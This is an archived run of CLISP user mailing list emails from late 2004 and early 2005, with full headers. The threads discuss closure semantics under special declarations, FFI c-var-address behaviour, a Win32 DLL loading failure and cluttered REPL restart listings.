closure vs. dynamic variable ?! In-Reply-To: <200412211315.14607.bruno@clisp.org> References: <200412202230.01692.bruno@clisp.org> <16839.18790.728048.583158@thalassa.informatimago.com> <200412211315.14607.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 22 01:19:05 2004 X-Original-Date: Tue, 21 Dec 2004 16:15:25 +0100 Bruno Haible writes: > Pascal J.Bourguignon wrote: > > Why the interpreted closure has not the same semantics as the compiled > > closure? > > Because the compiler makes some optimizations that "fix" the semantics > of the functions - ANSI CL 3.2.2.3: > "Special proclamations for dynamic variables must be made in the > compilation environment. Any binding for which there is no special > declaration or proclamation in the compilation environment is treated > by the compiler as a lexical binding." > and there is no such requirement for the interpreter. That same section declared that these requirements were made to "minimize" the differences between interpreted and compiled code. That's why I was surprised to see a difference. > > The problem is not with defparameter. It's that I want a lexical > > closure, and I don't get it! > > Then don't proclaim SPECIAL your variable. A variable that has been > proclaimed special cannot be bound lexically. I think it's an overlook of the standard. It means that any interpreted closure can be broken just by ulteriorly declaring some special variable colliding with the lexical variables the closure use. Worse, such a declarations makes all lexical variables merge: [pjb@thalassa encours]$ clisp ;; Loading file /home/pascal/.clisprc.lisp ... [1]> (let ((a 1)) (defun f () (incf a))) F [2]> (let ((a "Hello")) (defun g (x) (print a) (setf a x))) G [3]> (f) 2 [4]> (g "World") "Hello" "World" [5]> (f) 3 [6]> (g "Howdy") "World" "Howdy" [7]> (f) 4 [8]> (defvar a '(broken)) A [9]> (f) *** - +: (BROKEN) is not a NUMBER The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [10]> :q [11]> (g "r2d2") (BROKEN) "r2d2" [12]> (f) *** - +: "r2d2" is not a NUMBER The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [13]> :q [14]> I agree that the standard doesn't mandate an interpreted implementation to do otherwise, but I think the behavior of ecls interpreter, which keeps the compiled semantics, is clearly superior here. -- __Pascal Bourguignon__ http://www.informatimago.com/ The mighty hunter Returns with gifts of plump birds, Your foot just squashed one. From lisp-clisp-list@m.gmane.org Sat Jan 01 04:30:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CkiOr-0006kp-Uu for clisp-list@lists.sourceforge.net; Sat, 01 Jan 2005 04:30:29 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CkiOm-0002TF-7H for clisp-list@lists.sourceforge.net; Sat, 01 Jan 2005 04:30:29 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CkiOa-00044g-00 for ; Sat, 01 Jan 2005 13:30:21 +0100 Received: from caracas-0892.adsl.interware.hu ([213.178.103.124]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 01 Jan 2005 13:30:12 +0100 Received: from andras by caracas-0892.adsl.interware.hu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 01 Jan 2005 13:30:12 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Andras Simon Lines: 27 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 213.178.103.124 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041111 Firefox/1.0) X-Spam-Score: -2.6 (--) X-Spam-Report: Spam detection software, running on the system "sc8-sf-spam1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: Can someone explain to me why the following works? (with-c-var (struct '(c-struct list (:string c-pointer) (:icon c-pointer) (:boolean boolean) (:int int) (:long long) (:date single-float) (:float single-float) (:double double-float)) (list nil nil nil 0 0 (coerce 0 'single-float) (coerce 0 'single-float) (coerce 0 'double-float))) (gtk-tree-model-get model iter col (c-var-address (slot struct col-type)) -1) ...) [...] Content analysis details: (-2.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] ffi:c-var-address Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 1 04:31:03 2005 X-Original-Date: Sat, 1 Jan 2005 12:24:05 +0000 (UTC) Can someone explain to me why the following works? (with-c-var (struct '(c-struct list (:string c-pointer) (:icon c-pointer) (:boolean boolean) (:int int) (:long long) (:date single-float) (:float single-float) (:double double-float)) (list nil nil nil 0 0 (coerce 0 'single-float) (coerce 0 'single-float) (coerce 0 'double-float))) (gtk-tree-model-get model iter col (c-var-address (slot struct col-type)) -1) ...) What I'm confused about is that (slot struct col-type) is not necessarily a pointer (ie. a 'c-place') and yet c-var-address doesn't complain about it. (I see that c-var-address and slot are macros, but macroexpanding them results in a SIMPLE-SOURCE-PROGRAM-ERROR.) Andras From sds@gnu.org Sat Jan 01 23:54:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cl0Ys-0008Dx-A6 for clisp-list@lists.sourceforge.net; Sat, 01 Jan 2005 23:54:02 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.60]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cl0Ym-0007kG-Dk for clisp-list@lists.sourceforge.net; Sat, 01 Jan 2005 23:54:01 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.94] helo=WINSTEINGOLDLAP) by smtp01.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1Cl0Yl-0007Cx-00; Sun, 02 Jan 2005 02:53:55 -0500 To: clisp-list@lists.sourceforge.net, Andras Simon Cc: Joerg-Cyril.Hoehle@t-systems.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Andras Simon's message of "Sat, 1 Jan 2005 12:24:05 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Andras Simon , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -2.5 (--) X-Spam-Report: Spam detection software, running on the system "sc8-sf-spam1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: > * Andras Simon [2005-01-01 12:24:05 +0000]: > > Can someone explain to me why the following works? Jorg is the FFI expert. > (with-c-var > (struct '(c-struct list > (:string c-pointer) > (:icon c-pointer) > (:boolean boolean) > (:int int) > (:long long) > (:date single-float) > (:float single-float) > (:double double-float)) > (list nil nil nil 0 0 (coerce 0 'single-float) (coerce 0 'single-float) > (coerce 0 'double-float))) > (gtk-tree-model-get model iter col > (c-var-address (slot struct col-type)) > -1) > ...) > > What I'm confused about is that (slot struct col-type) is not necessarily a > pointer (ie. a 'c-place') and yet c-var-address doesn't complain about it. [...] Content analysis details: (-2.5 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: ffi:c-var-address Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 1 23:55:07 2005 X-Original-Date: Sun, 02 Jan 2005 02:53:54 -0500 > * Andras Simon [2005-01-01 12:24:05 +0000]: > > Can someone explain to me why the following works? Jorg is the FFI expert. > (with-c-var > (struct '(c-struct list > (:string c-pointer) > (:icon c-pointer) > (:boolean boolean) > (:int int) > (:long long) > (:date single-float) > (:float single-float) > (:double double-float)) > (list nil nil nil 0 0 (coerce 0 'single-float) (coerce 0 'single-float) > (coerce 0 'double-float))) > (gtk-tree-model-get model iter col > (c-var-address (slot struct col-type)) > -1) > ...) > > What I'm confused about is that (slot struct col-type) is not necessarily a > pointer (ie. a 'c-place') and yet c-var-address doesn't complain about it. I think C-VAR-ADDRESS will return the address of the slot, not the address to which the slot points. in C terms, it will return "&(struct.col_type)", not "(void*)(struct.col_type)". > (I see that c-var-address and slot are macros, but macroexpanding them > results in a SIMPLE-SOURCE-PROGRAM-ERROR.) you might want to try -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux - find out what you've been missing while you've been rebooting Windows. From andras@renyi.hu Sun Jan 02 04:49:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cl5AW-0005t8-HY for clisp-list@lists.sourceforge.net; Sun, 02 Jan 2005 04:49:12 -0800 Received: from hexagon.math-inst.hu ([193.224.79.1] helo=renyi.hu) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cl5AR-0007iz-EG for clisp-list@lists.sourceforge.net; Sun, 02 Jan 2005 04:49:12 -0800 Received: from localhost (andras@localhost) by renyi.hu (8.8.8/8.8.8/3s) with ESMTP id NAA18817 for ; Sun, 2 Jan 2005 13:49:01 +0100 (CET) From: Andras Simon To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.6 (--) X-Spam-Report: Spam detection software, running on the system "sc8-sf-spam2.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: On Sun, 2 Jan 2005, Sam Steingold wrote: > [...] > > I think C-VAR-ADDRESS will return the address of the slot, not the > address to which the slot points. > in C terms, it will return "&(struct.col_type)", not > "(void*)(struct.col_type)". [...] Content analysis details: (-2.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: ffi:c-var-address Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 2 04:50:05 2005 X-Original-Date: Sun, 2 Jan 2005 13:49:01 +0100 (MET) On Sun, 2 Jan 2005, Sam Steingold wrote: > [...] > > I think C-VAR-ADDRESS will return the address of the slot, not the > address to which the slot points. > in C terms, it will return "&(struct.col_type)", not > "(void*)(struct.col_type)". Thanks Sam, that's exactly what I wanted to know! I'm trying to polish the CMUCL port of cells-gtk, and I didn't know how to rewrite this bit with alien. Now I do. Andras From cermee@linuxmail.org Thu Jan 06 09:22:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmbLB-0007AK-J0 for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 09:22:29 -0800 Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CmbLA-0001Lm-Iw for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 09:22:29 -0800 Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id 0B5401800225 for ; Thu, 6 Jan 2005 17:22:21 +0000 (GMT) X-OB-Received: from unknown (205.158.62.133) by wfilter.us4.outblaze.com; 6 Jan 2005 17:22:06 -0000 Received: by ws5-3.us4.outblaze.com (Postfix, from userid 1001) id 7920423CF6; Thu, 6 Jan 2005 17:22:06 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [80.25.143.197] by ws5-3.us4.outblaze.com with http for cermee@linuxmail.org; Fri, 07 Jan 2005 01:22:06 +0800 From: =?iso-8859-1?B?RS4gQ2VybWXxbw== ?= To: clisp-list@lists.sourceforge.net X-Originating-Ip: 80.25.143.197 X-Originating-Server: ws5-3.us4.outblaze.com Message-Id: <20050106172206.7920423CF6@ws5-3.us4.outblaze.com> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Continuable error printing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 6 09:23:21 2005 X-Original-Date: Fri, 07 Jan 2005 01:22:06 +0800 Hi, I'm using Clisp through Emacs, when I type something wrong, for example=20 k i get a message of continuable error, i want to get rid of this messages, how can i do it? Some flag when calling clisp??? I give you some data: I use Debian=20 GNU CLISP 2.33.2 (2004-06-02) (built 3304877926) (memory 3312945373) Software: GNU C 3.3.4 (Debian 1:3.3.4-12) programa ANSI C Features: (ASDF SYSCALLS CLX-ANSI-COMMON-LISP CLX REGEXP CLOS LOOP COMPILER CLISP ANS= I-CL COMMON-LISP LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAME= S SCREEN FFI GETTEXT UNICODE BASE-CHAR=3DCHARACTER PC386 UNIX) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686)=20 I run clisp with "run-lisp" in Emacs, that means to me "clisp -I" (.emacs f= ile). I paste an example: [1]> k *** - EVAL: la variable K no tiene ning=FAn valor Es posible continuar en los siguientes puntos: STORE-VALUE :R1 You may input a new value for K. USE-VALUE :R2 You may input a value to be used instead of K. I don't want to read Es posible..... instead of K. Thanks a lot! Cheers. --=20 ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org=20 This allows you to send and receive SMS through your mailbox. Powered by Outblaze From sds@gnu.org Thu Jan 06 09:37:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmbZK-0007qZ-8A for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 09:37:06 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CmbZI-0007SN-5K for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 09:37:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j06HamcQ009343; Thu, 6 Jan 2005 12:36:49 -0500 (EST) To: clisp-list@lists.sourceforge.net, =?utf-8?q?E=2E_Cerme=C3=B1o?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050106172206.7920423CF6@ws5-3.us4.outblaze.com> ( =?utf-8?q?E=2E_Cerme=C3=B1o's_message_of?= "Fri, 07 Jan 2005 01:22:06 +0800") References: <20050106172206.7920423CF6@ws5-3.us4.outblaze.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?q?E=2E_Cerme=C3=B1o?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -1.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Continuable error printing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 6 09:38:00 2005 X-Original-Date: Thu, 06 Jan 2005 12:36:48 -0500 > * E. Cerme=C3=B1o [2005-01-07 01:22:06 +0800]: > > I'm using Clisp through Emacs, when I type something wrong, for > example k i get a message of continuable error, i want to get rid of > this messages, how can i do it? Some flag when calling clisp??? what would you like to happen when you get an error? do you want all errors automatically ignored?! you will not be able to debug your code! --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From berlin.brown@gmail.com Thu Jan 06 09:51:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cmbnf-0000Sj-9T for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 09:51:55 -0800 Received: from rproxy.gmail.com ([64.233.170.198]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cmbnd-0000ut-UE for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 09:51:55 -0800 Received: by rproxy.gmail.com with SMTP id r35so64664rna for ; Thu, 06 Jan 2005 09:51:52 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=djaUxRxBw6te441GwVT7OWSHNvIZMwZcwCUNbZDTMPxUM9ix2XmO71q4BCLZfhvAk+aTA6kUv/yo1q3f+sXV/raqVHNgTPCpwT0zyhBQBotvGMDwxCfj5A9gpCM0lsy39QO3n5dwXih1jKYP4vlb5+weTXvsXUnP5dYsL+/3GVs= Received: by 10.38.68.14 with SMTP id q14mr519852rna; Thu, 06 Jan 2005 09:51:52 -0800 (PST) Received: by 10.39.1.9 with HTTP; Thu, 6 Jan 2005 09:51:52 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] DLL Cannot Load Error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 6 09:52:29 2005 X-Original-Date: Thu, 6 Jan 2005 12:51:52 -0500 Clisp Win32 On one machine, I can get a DLL to work, but on another, I cant/ I keep getting an FFI error cannot open library, I used a dll dependency walker to check if all DLLs are all there and they are. What would cause a DLL to load on one machine but not on another. I am using gcc win32 to compile the dll, I think that is the problem, is there any more debugging I can do to give me a better idea of the problem. From berlin.brown@gmail.com Thu Jan 06 12:25:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmeC4-0001J4-Ci for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 12:25:16 -0800 Received: from rproxy.gmail.com ([64.233.170.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CmeC3-0007Qo-OD for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 12:25:16 -0800 Received: by rproxy.gmail.com with SMTP id f1so186337rne for ; Thu, 06 Jan 2005 12:25:14 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=YfdMy8mAFs7i76XvJSSWKUiIACr/G8wTV3+G7sh83adxl606SzSVmid1dZA6Ef0GUfQTJRhJe4g2R/ovdMbneMoZRJYIyNqSVFo31RqAiRcLqlNaDzY0BIkVDlqYwTy7FlJ2NNu9Fv00W2qKZEkCZylfmZ4dJbEHVNlO2vOZMGI= Received: by 10.38.74.60 with SMTP id w60mr141823rna; Thu, 06 Jan 2005 12:25:14 -0800 (PST) Received: by 10.39.1.9 with HTTP; Thu, 6 Jan 2005 12:25:14 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: DLL Cannot Load Error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 6 12:26:25 2005 X-Original-Date: Thu, 6 Jan 2005 15:25:14 -0500 Strange, on this win32 Windows 2000 system, I figured out my bug, the name can only be 4 characters? Strange, in case anybody sees this problem, it is a Windows2000(SP-2?) GCC - Mingw - Clisp(recent version) When compiling a DLL,and then loading in CLisp, on certain systems, the name of the dll has to be small? Weird On Thu, 6 Jan 2005 12:51:52 -0500, Berlin Brown wrote: > Clisp Win32 > > On one machine, I can get a DLL to work, but on another, I cant/ > > I keep getting an FFI error cannot open library, I used a dll > dependency walker to check if all DLLs are all there and they are. > What would cause a DLL to load on one machine but not on another. I > am using gcc win32 to compile the dll, I think that is the problem, is > there any more debugging I can do to give me a better idea of the > problem. > From cermee@linuxmail.org Thu Jan 06 13:50:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmfWi-0006vK-QI for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 13:50:40 -0800 Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CmfWi-00008U-17 for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 13:50:40 -0800 Received: from wfilter.us4.outblaze.com (wfilter.us4.outblaze.com [205.158.62.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id EBDCA18001AF for ; Thu, 6 Jan 2005 21:50:34 +0000 (GMT) X-OB-Received: from unknown (205.158.62.133) by wfilter.us4.outblaze.com; 6 Jan 2005 21:50:34 -0000 Received: by ws5-3.us4.outblaze.com (Postfix, from userid 1001) id D0A5B23CF6; Thu, 6 Jan 2005 21:50:34 +0000 (GMT) Content-Type: text/plain; charset="utf-8" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [80.25.143.197] by ws5-3.us4.outblaze.com with http for cermee@linuxmail.org; Fri, 07 Jan 2005 05:50:34 +0800 From: =?iso-8859-1?B?RS4gQ2VybWXxbw== ?= To: clisp-list@lists.sourceforge.net X-Originating-Ip: 80.25.143.197 X-Originating-Server: ws5-3.us4.outblaze.com Message-Id: <20050106215034.D0A5B23CF6@ws5-3.us4.outblaze.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Continuable error printing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 6 13:51:25 2005 X-Original-Date: Fri, 07 Jan 2005 05:50:34 +0800 Thanks for your help, I 'll try to explain myswlf better, I do want Error report , BUT the one I've made, not a huge list of **** , I paste a small example, I forgot the argument in print, I want to know that but not some past " continuable errors", look : Break 8 [167]> (print ) ** - Continuable Error EVAL: no se han entregado suficientes argumentos a PRINT: (PRINT) --->>>>> That's great , but I also get this=20 Si contin=C3=BAa (tecleando `continue'): Reintentar The following restarts are also available: STORE-VALUE :R1 You may input a new value for K. USE-VALUE :R2 You may input a value to be used instead of K. STORE-VALUE :R3 You may input a new value for (FDEFINITION 'DEFSYST= EM). USE-VALUE :R4 You may input a value to be used instead of (FDEFIN= ITION 'DEFSYSTEM). CONTINUE :R5 Reintentar STORE-VALUE :R6 You may input a new value for (FDEFINITION 'DEFSYST= EM). USE-VALUE :R7 You may input a value to be used instead of (FDEFIN= ITION 'DEFSYSTEM). USE-VALUE :R8 You may input a value to be used instead. ---->>>>>>>>> Here it's 8 lines, sometimes it's 50 or even more lines, of = past errors, I want to get rid of them. 